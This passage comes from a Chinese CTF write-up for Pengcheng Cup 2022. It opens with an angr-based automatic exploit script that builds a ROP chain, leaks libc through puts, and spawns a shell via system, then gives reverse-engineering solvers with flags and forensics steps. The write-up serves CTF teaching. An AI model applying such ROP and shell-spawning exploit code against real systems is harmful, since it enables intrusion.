input_line = elf.sym['_Z10input_linePcm']
main = elf.symbols['main']
print("input_lint :", hex(input_line))
p = angr.Project("./a.out")

def getBVV(state, sizeInBytes, type = 'str'):
    global pathConditions
    name = 's_' + str(state.globals['symbols_count'])
    bvs = claripy.BVS(name, sizeInBytes * 8)
    state.globals['symbols_count'] += 1
    state.globals[name] = (bvs, type)
    return bvs

def angr_load_str(state, addr):
    s, i = '', 0
    while True:
        ch = state.solver.eval(state.memory.load(addr + i, 1))
        if ch == 0: break
        s += chr(ch)    
        i += 1
    return s

class ReplacementCheckEquals(angr.SimProcedure):
    def run(self, str1, str2):
        cmp1 = angr_load_str(self.state, str2).encode("ascii")
        cmp0 = self.state.memory.load(str1, len(cmp1))
        self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))

class ReplacementCheckInput(angr.SimProcedure):
    def run(self, buf, len):
        len = self.state.solver.eval(len)
        self.state.memory.store(buf, getBVV(self.state, len))

class ReplacementInputVal(angr.SimProcedure):
    def run(self):
        self.state.regs.rax = getBVV(self.state, 4, 'int') 

class ReplacementInit(angr.SimProcedure):
    def run(self):
        return 

p.hook_symbol("_Z5fksthPKcS0_", ReplacementCheckEquals())
p.hook_symbol("_Z10input_linePcm", ReplacementCheckInput())
p.hook_symbol("_Z9input_valv", ReplacementInputVal())
p.hook_symbol("_Z4initv", ReplacementInit())
enter = p.factory.entry_state()
enter.globals['symbols_count'] = 0
simgr = p.factory.simgr(enter, save_unconstrained=True)
d = simgr.explore()
backdoor = 0x400841
for state in d.unconstrained:
    bindata = b''
    rsp = state.regs.rsp
    next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness)
    next_stack8 = state.memory.load(rsp+8, 8, endness=p.arch.memory_endness)
    next_stack16 = state.memory.load(rsp+16, 8, endness=p.arch.memory_endness)
    state.add_constraints(state.regs.rip == pop_rdi)
    state.add_constraints(next_stack == puts_got)
    state.add_constraints(next_stack8 == puts_plt)
    state.add_constraints(next_stack16 == main)
    for i in range(state.globals['symbols_count']):
        s, s_type = state.globals['s_' + str(i)]
        if s_type == 'str':
            bb = state.solver.eval(s, cast_to=bytes)
            if bb.count(b'\x00') == len(bb):
                bb = b'A' * bb.count(b'\x00')
            bindata += bb
        elif s_type == 'int':
            bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' '
    # bindata += b'\x00\x00\x00\x00\x00'
# arr = [] 
# for c in bindata:
    # if c != 0x20:
        # arr.append(c)
    # else:
        # arr.append(0xa)
# bindata = bytes(arr)
print(bindata)
# p.close()
# gdb.attach(sh)
# sh.recvuntil(b"Welcome to the AEG challenge !!!\n")
sh.recvuntil(b":")
# bindata = bindata.split(b'\x20')
sh.sendline(bindata)

# for i in range(1,0x1000):
    # con = sh.recvuntil(b':',timeout = 3)
    # if b':' in con:
        # sh.sendline(bindata[i])
    # else:
        # break
# res = sh.recvall(timeout=3)
# print("[+] all recv :",res)
libc = sh.recvuntil(b'\x7f')[-6:]
print(libc)
libc = u64(libc.ljust(8,b'\x00'))
print("libc : ", hex(libc))
libc_base = libc - 0x80970
system = libc_base + 0x4f420
str_bin_bash = libc_base + 0x1b3d88
bindata = bindata[:-0x18] +p64(str_bin_bash) + p64(ret_rop)+p64(system)
sh.sendline(bindata)
sh.interactive()

RE

baby_re

arr = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]

for i in range(0, len(arr), 4):
    print(chr(arr[i] ^ 0x47 ^ 0x56),end = "")
    print(chr(arr[i + 1] ^ 0x32 ^ 0x57),end = "")
    print(chr(arr[i + 2] ^ 0x11 ^ 0x58),end = "")
    print(chr(arr[i + 3] ^ 0x12 ^ 0x59),end = "")
#PCL{6700280a84487e46f76f2f60ce4ae70b}

rota

import base64
arr =[ 51, 52, 44, 54, 29, 18, 30, 12, 26, 60, 41, 16, 32, 20, 61, 59, 25, 8, 14, 31, 48, 5, 56, 3, 17, 27, 23, 33, 46, 4, 24, 35, 43, 2, 39, 55, 28, 36, 57, 63, 53, 45, 38, 19, 42, 10, 0, 7, 62, 1, 40, 47, 50, 34, 13, 6, 37, 58, 9, 15, 22, 11, 21, 49, 12, 44, 13, 33, 34, 9, 2, 57, 49, 23, 26, 51, 6, 36, 16, 4, 27, 11, 52, 18, 56, 39, 14, 32, 43, 46, 0, 19, 62, 58, 5, 30, 54, 8, 50, 41, 25, 35, 61, 59, 60, 63, 55, 48, 24, 22, 53, 37, 10, 45, 40, 38, 21, 17, 7, 29, 42, 15, 31, 20, 1, 28, 3, 47, 19, 13, 53, 49, 7, 17, 27, 35, 11, 12, 16, 37, 43, 33, 51, 24, 39, 41, 2, 47, 40, 48, 14, 25, 60, 8, 52, 32, 61, 46, 5, 21, 44, 28, 54, 34, 30, 36, 56, 10, 63, 26, 4, 38, 22, 42, 58, 31, 45, 50, 6, 55, 3, 59, 0, 23, 29, 18, 9, 1, 62, 57, 15, 20, 1, 0, 0, 77, 252, 127, 0, 0, 4, 1, 0, 0, 252, 127, 0, 0, 107, 115, 80, 104, 83, 47, 51, 52, 77, 88, 105, 102, 106, 43, 73, 98, 116, 106, 117, 100, 50, 84, 105, 107, 106, 53, 72, 107, 65, 55, 105, 84, 112, 98, 97, 78, 69, 76, 66, 101, 98, 79, 97, 73, 109, 0, 0, 0]

base_tab = "XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb="
enc = "ksPhS/34MXifj+Ibtjud2Tikj5HkA7iTpbaNELBebOaIm"
o_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
my_table = "XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb"

out = ""

for t in range(0, len(enc) - 1):
    c = enc[t]
    for k in range(0, 64):
        cnt = k
        cnt = arr[(t + cnt)&0x3f] & 0x3f
        cnt = arr[cnt + 64] & 0x3f
        cnt = arr[cnt + 128]
        if c == base_tab[cnt]:
            out += base_tab[k]
            break

print(base64.b64decode(out.translate(str.maketrans(my_table, o_table))))
# PCL{8cdd01062b7e90dd372c3ea9977be53e}

maze

from pwn import *
import pdb

context(arch = 'amd64', os = 'linux',log_level = 'debug')

tab = ['l','r','t']

def dfs(path):
    sh = process('./maze')
    sh.sendline(path)
    res = sh.recv()
    #pdb.set_trace()
    print(res)
    if b'> ' * (len(path) + 1) in res:
        for c in tab:
            dfs(path + c)
    print(res)
    if b'md5' in res:
        print(path)
        exit()

    pass

if __name__ == "__main__":
    dfs("")
    #sh = process('./maze')
    #sh.sendline(b'l')
    #res = sh.recv()
    #print(res)

gocode

golang 编写的虚拟机 IDA7.7恢复符号直接逆

opcode = [187, 0, 0, 187, 1, 1, 187, 2, 2, 187, 3, 3, 12, 1, 2, 2, 2, 283, 170, 1, 2, 187, 1, 1, 187, 2, 2, 12, 0, 1, 14, 0, 2, 13, 0, 3, 2, 2, 30977, 170, 0, 2, 187, 2, 2, 2, 0, 99, 1, 2, 0, 187, 0, 0, 14, 0, 2, 13, 0, 1, 12, 0, 3, 2, 1, 8182, 170, 0, 1, 187, 1, 1, 187, 0, 0, 187, 2, 2, 12, 1, 0, 12, 1, 2, 12, 1, 3, 2, 0, 542, 170, 1, 0, 187, 1, 1, 187, 0, 0, 14, 0, 3, 13, 0, 1, 12, 0, 2, 2, 3, 13105, 170, 0, 3, 187, 0, 4, 187, 1, 5, 187, 2, 6, 2, 3, 99, 12, 0, 3, 2, 3, 104, 1, 0, 3, 2, 3, 338, 170, 0, 3, 2, 3, 51, 13, 1, 3, 2, 3, 99, 14, 1, 3, 2, 0, 1089, 170, 0, 1, 2, 3, 99, 1, 2, 3, 2, 3, 107, 12, 2, 3, 2, 1, 270, 170, 2, 1, 2, 1, 158, 187, 0, 7, 170, 0, 1, 187, 0, 8, 187, 1, 9, 187, 2, 10, 187, 3, 11, 14, 0, 3, 2, 3, 14030, 170, 0, 3, 187, 0, 8, 187, 3, 11, 12, 0, 1, 14, 0, 2, 13, 0, 3, 2, 2, 26669, 170, 0, 2, 187, 2, 10, 2, 0, 99, 1, 2, 0, 187, 0, 8, 14, 0, 2, 13, 0, 1, 12, 0, 3, 2, 1, 21, 170, 0, 1, 187, 1, 9, 187, 0, 8, 187, 2, 10, 12, 1, 0, 12, 1, 2, 12, 1, 3, 2, 0, 430, 170, 1, 0, 187, 1, 9, 187, 0, 8, 14, 0, 3, 13, 0, 1, 12, 0, 2, 2, 3, 14089, 170, 0, 3, 187, 0, 12, 187, 1, 13, 187, 2, 14, 2, 3, 99, 12, 0, 3, 2, 3, 104, 1, 0, 3, 2, 3, 250, 170, 0, 3, 2, 3, 30, 13, 1, 3, 2, 3, 99, 14, 1, 3, 2, 0, 396, 170, 0, 1, 2, 3, 99, 1, 2, 3, 2, 3, 107, 12, 2, 3, 2, 1, 131, 170, 2, 1, 2, 1, 71, 187, 0, 15, 170, 0, 1]

# for i in range(0, 372, 3):
#     op_num = opcode[i]
#     num_1 = opcode[i + 1]
#     num_2 = opcode[i + 2]
#     if op_num == 0xbb:
#         print(f"reg[{num_1}] = hex_input[{num_2}]")
#     elif op_num == 0xaa:
#         print(f"if reg[{num_1}] != reg[{num_2}] --> ERROR -> EXIT")
#     elif op_num == 0xf:
#         print(f"reg[{num_1}] /= reg[{num_2}]")
#     elif op_num == 0xd:
#         print(f"reg[{num_1}] -= reg[{num_2}]")
#     elif op_num == 0xe:
#         print(f"reg[{num_1}] *= reg[{num_2}]")
#     elif op_num == 0x1:
#         print(f"reg[{num_1}] ^= reg[{num_2}]")
#     elif op_num == 0x2:
#         print(f"reg[{num_1}] = {num_2}")
#     elif op_num == 0xc:
#         print(f"reg[{num_1}] += reg[{num_2}]")
#     else:
#         print("Wrong")

from z3 import *

flag = [BitVec("x_%d" % i,64) for i in range(16)]

s = Solver()

for i in range(0,16):
    s.add(flag[i] >= 0x00)
    s.add(flag[i] <= 0xff)

s.add(flag[1] + flag[2] == 283)
s.add((((flag[0] + flag[1]) * flag[2]) - flag[3]) == 30977)
s.add((flag[0] * (flag[2] ^ 99)) - flag[1] + flag[3] == 8182)
s.add((flag[0] + flag[1] + flag[2] + flag[3]) == 542)
s.add(((flag[0] * flag[3]) - flag[1] + flag[2]) == 13105)

s.add((flag[4] + 99) ^ 104 == 338)
s.add((flag[5] - 51) * 99 == 1089)
s.add((flag[6] ^ 99) + 107 == 270)
s.add(flag[7] == 158)
s.add(flag[8] * flag[11] == 14030)
s.add((flag[8] + flag[9]) * flag[10] - flag[11] == 26669)
s.add(flag[8] * (flag[10] ^ 99) - flag[9] + flag[11] == 21)
s.add((flag[8] + flag[9] + flag[10] + flag[11]) == 430)
s.add(flag[8] * flag[11] - flag[9] + flag[10] == 14089)
s.add((flag[12] + 99) ^ 104 == 250)
s.add((flag[13] - 30) * 99 == 396)
s.add((flag[14] ^ 99) + 107 == 131)
s.add(flag[15] == 71)

if s.check() == sat:
    res = s.model()
    print("PCL{",end = "")
    for i in range(0, 16):
        print(hex(res[flag[i]].as_long() + 0x100)[3:],end = "")
    print("}")
else:
    print("No result")

"""
idapython

ea = 0xC00011F368
arr = []
for i in range(0,372):
    arr.append(ida_bytes.get_qword(ea + 8 * i))
print(arr)

"""

"""

reg[0] = hex_input[0]
reg[1] = hex_input[1]
reg[2] = hex_input[2]
reg[3] = hex_input[3]
reg[1] += reg[2]
reg[2] = 283
if reg[1] != reg[2] --> ERROR -> EXIT
reg[1] = hex_input[1]
reg[2] = hex_input[2]
reg[0] += reg[1]
reg[0] *= reg[2]
reg[0] -= reg[3]
reg[2] = 30977
if reg[0] != reg[2] --> ERROR -> EXIT
reg[2] = hex_input[2]
reg[0] = 99
reg[2] ^= reg[0]
reg[0] = hex_input[0]
reg[0] *= reg[2]
reg[0] -= reg[1]
reg[0] += reg[3]
reg[1] = 8182
if reg[0] != reg[1] --> ERROR -> EXIT
reg[1] = hex_input[1]
reg[0] = hex_input[0]
reg[2] = hex_input[2]
reg[1] += reg[0]
reg[1] += reg[2]
reg[1] += reg[3]
reg[0] = 542
if reg[1] != reg[0] --> ERROR -> EXIT
reg[1] = hex_input[1]
reg[0] = hex_input[0]
reg[0] *= reg[3]
reg[0] -= reg[1]
reg[0] += reg[2]
reg[3] = 13105
if reg[0] != reg[3] --> ERROR -> EXIT

reg[0] = hex_input[4]
reg[1] = hex_input[5]
reg[2] = hex_input[6]
reg[3] = 99
reg[0] += reg[3]
reg[3] = 104
reg[0] ^= reg[3]
reg[3] = 338
if reg[0] != reg[3] --> ERROR -> EXIT
reg[3] = 51
reg[1] -= reg[3]
reg[3] = 99
reg[1] *= reg[3]
reg[0] = 1089
if reg[0] != reg[1] --> ERROR -> EXIT
reg[3] = 99
reg[2] ^= reg[3]
reg[3] = 107
reg[2] += reg[3]
reg[1] = 270
if reg[2] != reg[1] --> ERROR -> EXIT
reg[1] = 158
reg[0] = hex_input[7]
if reg[0] != reg[1] --> ERROR -> EXIT
reg[0] = hex_input[8]
reg[1] = hex_input[9]
reg[2] = hex_input[10]
reg[3] = hex_input[11]
reg[0] *= reg[3]
reg[3] = 14030
if reg[0] != reg[3] --> ERROR -> EXIT
reg[0] = hex_input[8]
reg[3] = hex_input[11]
reg[0] += reg[1]
reg[0] *= reg[2]
reg[0] -= reg[3]
reg[2] = 26669
if reg[0] != reg[2] --> ERROR -> EXIT
reg[2] = hex_input[10]
reg[0] = 99
reg[2] ^= reg[0]
reg[0] = hex_input[8]
reg[0] *= reg[2]
reg[0] -= reg[1]
reg[0] += reg[3]
reg[1] = 21
if reg[0] != reg[1] --> ERROR -> EXIT
reg[1] = hex_input[9]
reg[0] = hex_input[8]
reg[2] = hex_input[10]
reg[1] += reg[0]
reg[1] += reg[2]
reg[1] += reg[3]
reg[0] = 430
if reg[1] != reg[0] --> ERROR -> EXIT
reg[1] = hex_input[9]
reg[0] = hex_input[8]
reg[0] *= reg[3]
reg[0] -= reg[1]
reg[0] += reg[2]
reg[3] = 14089
if reg[0] != reg[3] --> ERROR -> EXIT
reg[0] = hex_input[12]
reg[1] = hex_input[13]
reg[2] = hex_input[14]
reg[3] = 99
reg[0] += reg[3]
reg[3] = 104
reg[0] ^= reg[3]
reg[3] = 250
if reg[0] != reg[3] --> ERROR -> EXIT
reg[3] = 30
reg[1] -= reg[3]
reg[3] = 99
reg[1] *= reg[3]
reg[0] = 396
if reg[0] != reg[1] --> ERROR -> EXIT
reg[3] = 99
reg[2] ^= reg[3]
reg[3] = 107
reg[2] += reg[3]
reg[1] = 131
if reg[2] != reg[1] --> ERROR -> EXIT
reg[1] = 71
reg[0] = hex_input[15]
if reg[0] != reg[1] --> ERROR -> EXIT v 

"""

MISC

简单取证

通过查找文件发现存在 secret.jpg:

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

提取发现内容为 base64,解密得到一个倒转的zip压缩包

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

打开发现压缩包存在密码,根据进程信息,发现用户曾经使用过cmd:

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

cmdscan 发现压缩包密码:

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

解压得到 flag.txt,查看内容怀疑为坐标,利用 matplotlib 画图:

import matplotlib.pyplot as plt

f = open("flag.txt", "r").readlines()

x_li = []
y_li = []
for i in range(len(f)):
    x_li.append(int(f[i].strip().split()[0]))
    y_li.append(int(f[i].strip().split()[1]))

plt.scatter(x_li, y_li)
plt.show()

扫码得到 flag:

flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}

Misc_water

解压后得到一张图片,其中有两张png图片,png图片中间有一个倒转的jpg图片,010editor手动提取即可得到

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

图片中有傅立叶盲水印,利用脚本提取即可

import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
img = cv.imread('new.jpg', 0) 
f = np.fft.fft2(img)           
fshift = np.fft.fftshift(f)     
s1 = np.log(np.abs(fshift))
plt.subplot(121)
plt.imshow(img, 'gray')
plt.title('original')
plt.subplot(122)
plt.imshow(s1,'gray')
plt.title('center')
plt.show()

得到 show.zip 的解压密码:ZC4#QaWbW

解压得到 裂开.jpg ,放到010editor中发现格式正常但无法打开,怀疑宽高被修改过,

利用crc爆破宽高即可得到正常的图片:

import binascii
import struct
import sys

file = "1.png"
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close()
            sys.exit()
鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

babybit

从硬盘当中提取回收站中的压缩包,解压后是注册表的备份。导入Register Explorer,Bitlocker 加密时间位于 SYSTEM: ControlSet001\Control\FVEStats\OscEncryptInit,Bitlocker 解密时间位于 SYSTEM: ControlSet001\Control\FVEStats\OscEncryptComplete.

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

注意注册表中的时间戳是UTC+0 需要加8小时转化为UTC+8